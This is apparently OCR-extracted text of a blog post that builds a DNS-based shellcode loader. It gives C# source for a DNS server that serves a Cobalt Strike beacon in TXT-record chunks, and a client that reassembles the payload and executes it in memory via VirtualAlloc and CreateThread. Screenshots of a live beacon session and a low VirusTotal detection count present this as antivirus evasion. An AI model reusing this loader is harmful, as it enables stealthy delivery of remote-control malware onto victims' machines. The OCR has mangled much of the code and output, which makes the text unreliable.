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using ARSoft.Tools.Net.Dns;
using System;

using System.IO;

using System.Ling;

using System.Net;

namespace SharpDNS

{

class Program

{
static Byte[] bytes;
static void Main(string[] args)

{
if (args.Length<l)
{
Console.WriteLine("SharpDNS.exe beacon.bin");
return;
}
bytes = ReadBeacon(args[0]);
using (DnsServer server = new DnsServer(IPAddress.Any,
{
server.StartQ);
Console.WritelLine("Dns Server Start.™");
Console.ReadLine();
}
}

static DnsMessageBase ProcessQuery(DnsMessageBase message,
rotocolType protocol)
{
message.IsQuery = false;
DnsMessage query = message as DnsMessage;

string domain = query.Questions[@].Name;
// length.dns.test.local

// r.500.200.dns.test.local

string[] sp = domain.Split('.");

10, 10, ProcessQuery))

IPAddress clientAddress, System.Net.Sockets.P



string command = spl@];

if (command.Equals("length"))

{
Console.WritelLine("Contains Length™);
query.AnswerRecords.Add(new TxtRecord(domain, @, bytes.Length.ToString()));
message.ReturnCode = ReturnCode.NoError;
return message;
3
if (command.Equals("r"))
{
Console.WriteLine(domain);
try
{
int hasReceive = int.Parse(sp[1]);
int requireReceive = int.Parse(sp[2]);
Console.WriteLine("hasReceive length:{0},require reveive byte length:{1}", hasReceive, requi
reReceive);
Byte[] sendByte = bytes.Skip(hasReceive).Take(requireReceive).ToArray();
string sendString = Convert.ToBase64String(sendByte);
Console.WriteLine(sendString);
query.AnswerRecords.Add(new TxtRecord(domain, @, sendString));
}
catch (Exception e)
{
Console.WritelLine(e.Message);
}
message.ReturnCode = ReturnCode.NoError;
return message;
b
message.ReturnCode = ReturnCode.Refused;
return message;
3
static Byte[] ReadBeacon(string path)
{
Byte[] b = File.ReadAllBytes(path);
Console.WritelLine("ReadBeacon File Length:{@}", b.Length);
return b;
ks
3
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name ~ payload host port bindto
https beancon windows/beacon_https/reverse_https 172.16.165.1 443

[ ] [ ] Windows Executable (Stageless)

-

Export a stageless Beacon as a Windows executable.
Use Cobalt Strike Arsenal scripts (Help -> Arsenal)

Listener: [https beancon ]
Output: [Raw vl
x64:

Generate H Help ]
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[ ] ® RO R &= = Q¥

(NErezies -«

No. Time Source Destination Protocol  Length Info
11 57.121130 127.0.0.1 127.0.0.1 DNS 72 Standard query 0x0001 PTR 1.0.0.127.in-addr.arpa
12 57.148621 127.0.0.1 127.0.0.1 DNS 72 Standard query response 0x0001 Refused PTR 1.0.0.127.in-addr.arpa
13 57.150699 127.0.0.1 127.0.0.1 DNS 71 Standard query 0x0002 A length.dns.test.local
14 57.153514 127.0.0.1 127.0.0.1 DNS 90 Standard query response 0x0002 A length.dns.test.local TXT
15 57.156577 127.0.0.1 127.0.0.1 DNS 71 Standard query 0x0003 AAAA length.dns.test.local
16 57.156977 127.0.0.1 127.0.0.1 DNS 90 Standard query response 0x0003 AAAA length.dns.test.local TXT
17 57.157129 127.0.0.1 127.0.0.1 DNS 71 Standard query 0x0004 A length.dns.test.local
18 57.157373 127.0.0.1 127.0.0.1 DNS 90 Standard query response 0x0004 A length.dns.test.local TXT
19 57.157689 127.0.0.1 127.0.0.1 DNS 71 Standard query 0x0005 AAAA length.dns.test.local
20 57.157977 127.0.0.1 127.0.0.1 DNS 90 Standard query response 0x0005 AAAA length.dns.test.local TXT

Frame 20: 90 bytes on wire (720 bits), 90 bytes captured (720 bits) on interface \Device\NPF_Loopback, id @
Null/Loopback
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
User Datagram Protocol, Src Port: 53, Dst Port: 65278
v Domain Name System (response)
Transaction ID: 0x0005
Flags: 0x8100 Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: ©
Additional RRs: @

n. bin

v Queries
length.dns.test.local: type AAAA, class IN
v Answers 1 ookup length. dns. test. local
v length.dns.test.local: type TXT, class IN f 127.0. 0.

Name: length.dns.test.local
Type: TXT (Text strings) (16)
Class: IN (0x0001)

Time to live: @ (@ seconds)
Data length: 7

dns. test. local

Request In: 19
[Time: ©.000288000 seconds]

(https://xzfile.aliyuncs.com/media/upload/picture/20201227161707-e8cf9552-4810b-1.png)
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&8 C:\Windows\System32\cmd.exe - SharpDNS.exe beacon.bin - o x
mae® RE R & 8 Qaem

MERETTEE - C: \Users\dd “ce\r g S\bin\De She S. exe beacon. bin
No. Time Source Destination Protocol  Length Info D

21 203.974399 127.0.0.1 127.0.0.1 DNS 72 Standard query 0x0001 fge

22 203.974933 127.0.0.1 127.0.0.1 DNS 72 Standard query respongt

23 203.978219 127.0.0.1 127.0.0.1 DNS 72 Standard query 0x0002 §

24 203.987082 127.0.0.1 127.0.0.1 DNS 354 Standard query respon

25 203.992043 127.0.0.1 127.0.0.1 DNS 72 Standard query OXBBGBIL' -

26 203.992703 127.0.0.1 127.0.0.1 DNS 354 Standard query respon Jau

27 203.992880 127.0.0.1 127.0.0.1 DNS 72 Standard query 0x0004

28 203.993445 127.0.0.1 127.0.0.1 DNS 354 Standard query respon

29 203.993798 127.0.0.1 127.0.0.1 DNS 72 Standard query 0x0005

30 203.994321 127.0.0.1 127.0.0.1 DNS 354 Standard query responTprr]y

Frame 30: 354 bytes on wire (2832 bits), 354 bytes captured (2832 bits) on interface \Device\NPF_L|

Null/Loopback
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1 I
User Datagram Protocol, Src Port: 53, Dst Port: 65283 bm5vdCRI W4gaW4,
v Domain Name System (response) yAOBARQ]
Transaction ID: @x@005 - 1

Flags: 0x810@ Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: @
Additional RRs: @
Queries
r.0.200.dns.test.local: type AAAA, class IN
Answers
v r.0.200.dns.test.local: type TXT, class IN
Name: r.0.200.dns.test.local
Type: TXT (Text strings) (16)
Class: IN (0x0001)
Time to live: @ (@ seconds)
Data length: 270
TXT Length: 255 ddd>nslookup r.0.200. dns. test. local 127.0.0.
TXT [truncated]: TVpBUlVIieVIgengAAASIBdﬁV///Bi]BQiBw/RjAQD/BBGABLinngAAAAWkiiH‘/QAAAA Al UnKi
TXT Length: 13 Address:
TXT: ByAoBARQKAAE=
Request In: 29
[Time: ©.000523000 seconds]

10dbv
i4gRES

<

<
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using ARSoft.Tools.Net.Dns;

using System;

using System.Collections.Generic;
using System.Net;

using System.Runtime.InteropServices;

namespace DnslLoader
{
class Program
{
static string dns;
static void Main(string[] args)
{
string domain = args[0@];
dns = args[1];
long len = QueryLength(domain);
int requireReceive = int.Parse(args[2]);

List<byte> bytes = new List<byte> { };
for (int 1 = 0; i < len; i++)
{
int hasReceive = bytes.Count;
if (hasReceive == len)
{
Console.WriteLine("#ZW5EEE");
break;

}

string rev = ClientQuery('r."
domain);
if (rev.Equals(Cnull))
{
Console.WriteLine("dns ZiFEiR");
return;
}
byte[] b = Convert.FromBase64String(rev);
bytes.AddRange(b);

//Console.WriteLine(rev);

+ hasReceive.ToString() +

+ requireReceive.ToString() +

+



Console.WritelLine(bytes.Count);
if (bytes.Count != @)

{
inject(bytes.ToArray());
3
3
public static long Querylength(string domain)
{
long len = 0;
string 1 = ClientQuery("length." + domain);
bool success = Int64.TryParse(l, out len);
if (success)
{
return len;
b
else
{
return 0;
b
3

public static String ClientQuery(string domain)
{
List<IPAddress> dnss = new List<IPAddress> { };
dnss.AddRange(Dns.GetHostAddresses(dns));
var dnsClient = new DnsClient(dnss, 60);
DnsMessage dnsMessage = dnsClient.Resolve(domain, RecordType.Txt);
if ((dnsMessage == null) || ((dnsMessage.ReturnCode != ReturnCode.NoError) && (dnsMessage.ReturnCode
I= ReturnCode.NxDomain)))

{
Console.WriteLine("DNS request failed");
return null;

}

else

{

foreach (DnsRecordBase dnsRecord in dnsMessage.AnswerRecords)
{

TxtRecord txtRecord = dnsRecord as TxtRecord;

if (txtRecord != null)

{
return txtRecord.TextData.ToString();



3

return null;

[D11Import("kernel32")]

private static extern UInt32 VirtualAlloc(UInt32 1pStartAddr, UInt32 size, UInt32 flAllocationType, UInt
32 flProtect);

[D11Import("kernel32")]

private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 1lpStartA
ddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 1pThreadId);

[D11Import("kernel32")]

private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

public static void inject(Byte[] buffer)

{

UInt32 MEM_COMMIT = 0x1000;

UInt32 PAGE_EXECUTE_READWRITE = 0x40;

UInt32 funcAddr = VirtualAlloc(0x0000, (UInt32)buffer.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(buffer, 0x0000, (IntPtr)(funcAddr), buffer.Length);

IntPtr hThread = IntPtr.Zero;

UInt32 threadId = 0x0000;

IntPtr pinfo = IntPtr.Zero;

hThread = CreateThread(0x0000, 0x0000, funcAddr, pinfo, 0x0000, ref threadld);
WaitForSingleObject(hThread, Oxffffffff);
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static string dns;
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5 dns = args[1]; X N o e d O
long len = Length (domain) ; el leng b reveive by length:
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19 List<byte> bytes = new List<byte> { }; C . X )
20 = for (int i = 0; i < len; it++) e le 8000, require reveive byte length:2(
int hasReceive vtes. Count;
= if (hasReceive == len)
{
Cc WriteLine ("EH5EEE") ;
break;
string rev = ClientQuery(“r.” + hasReceive. ToString() +
29 = if (rev.Equals(null)) C s\ddd\source\r ar] S\DnsLoader\bin\Debug HJH 3
{
Cor WriteLine (“dns ZEifI#iR"); 020 g 5:16
return; I .
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Console. WriteLine (rev) ; -
37 }
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41 1
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N |
3 }
100 %~ @ REFWEXRER DASEEE!
B
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EF‘!JJE?)?EEEY
- BREIAFEHLERM: BIH: SharpDNS, ALE: Debug Any CPU —

Dy R E LR Iﬁa. DnsLoader, BZE: Debug Any CPU —
1> SharpDNS -> C:\Users\ddd\source\repos\SharpDNS\SharpDNS\bin\Debug\SharpDNS. exe

2> DnsLoader —> C: \Lsels\ddd\source\lepos\ShalDD\S\DnsLoader\bln\Debug\DnsLoader exe
========== EHEFER: BRI 2 1~ KW 0 4, BoL 0 A
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[ N J Cobalt Strike

external internal ~ listener | user | [ | note process pid arch last

1 172.16.165.2 172.16.165.2 https beancon ddd DESKTOP-Q29L2EQ DnsLoader.exe 9436 x64 47s

Eventlog X | Listeners X |

name ~ \payload host port bindto beacons \proﬁle_ —
https beancon windows/beacon_https/reverse_https 172.16.165.1 443 172.16.165.1 default
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781758e4a1e5fadc1e9df193ec1a20f00eedd3b628c8b4e458929f9cc9861412

@ 4 engines detected this file

—-—
” DnsLoader.exe
assembly  peexe

x Community
Score

DETECTION DETAILS BEHAVIOR COMMUNITY
SecureAge APEX @ Malicious
Cynet @ Malicious (score: 100)
Acronis @ Undetected
AegisLab @ Undetected
Alibaba ©) Undetected
Antiy-AVL ©) Undetected

781758e4ale5fadcle9df193ec1a20f00ee4d3b628c8b4e458929f9cc9861412

CrowdStrike Falcon

ESET-NOD32

Ad-Aware

AhnlLab-V3

AlYac

Arcabit

6.50 KB 2020-12-27 07:22:00 UTC

Size

1minute ago

@ Win/malicious_confidence_80% (D)
@ A Variant Of MSIL/Rozena.W

@ Undetected

@ Undetected

@ Undetected

@ Undetected
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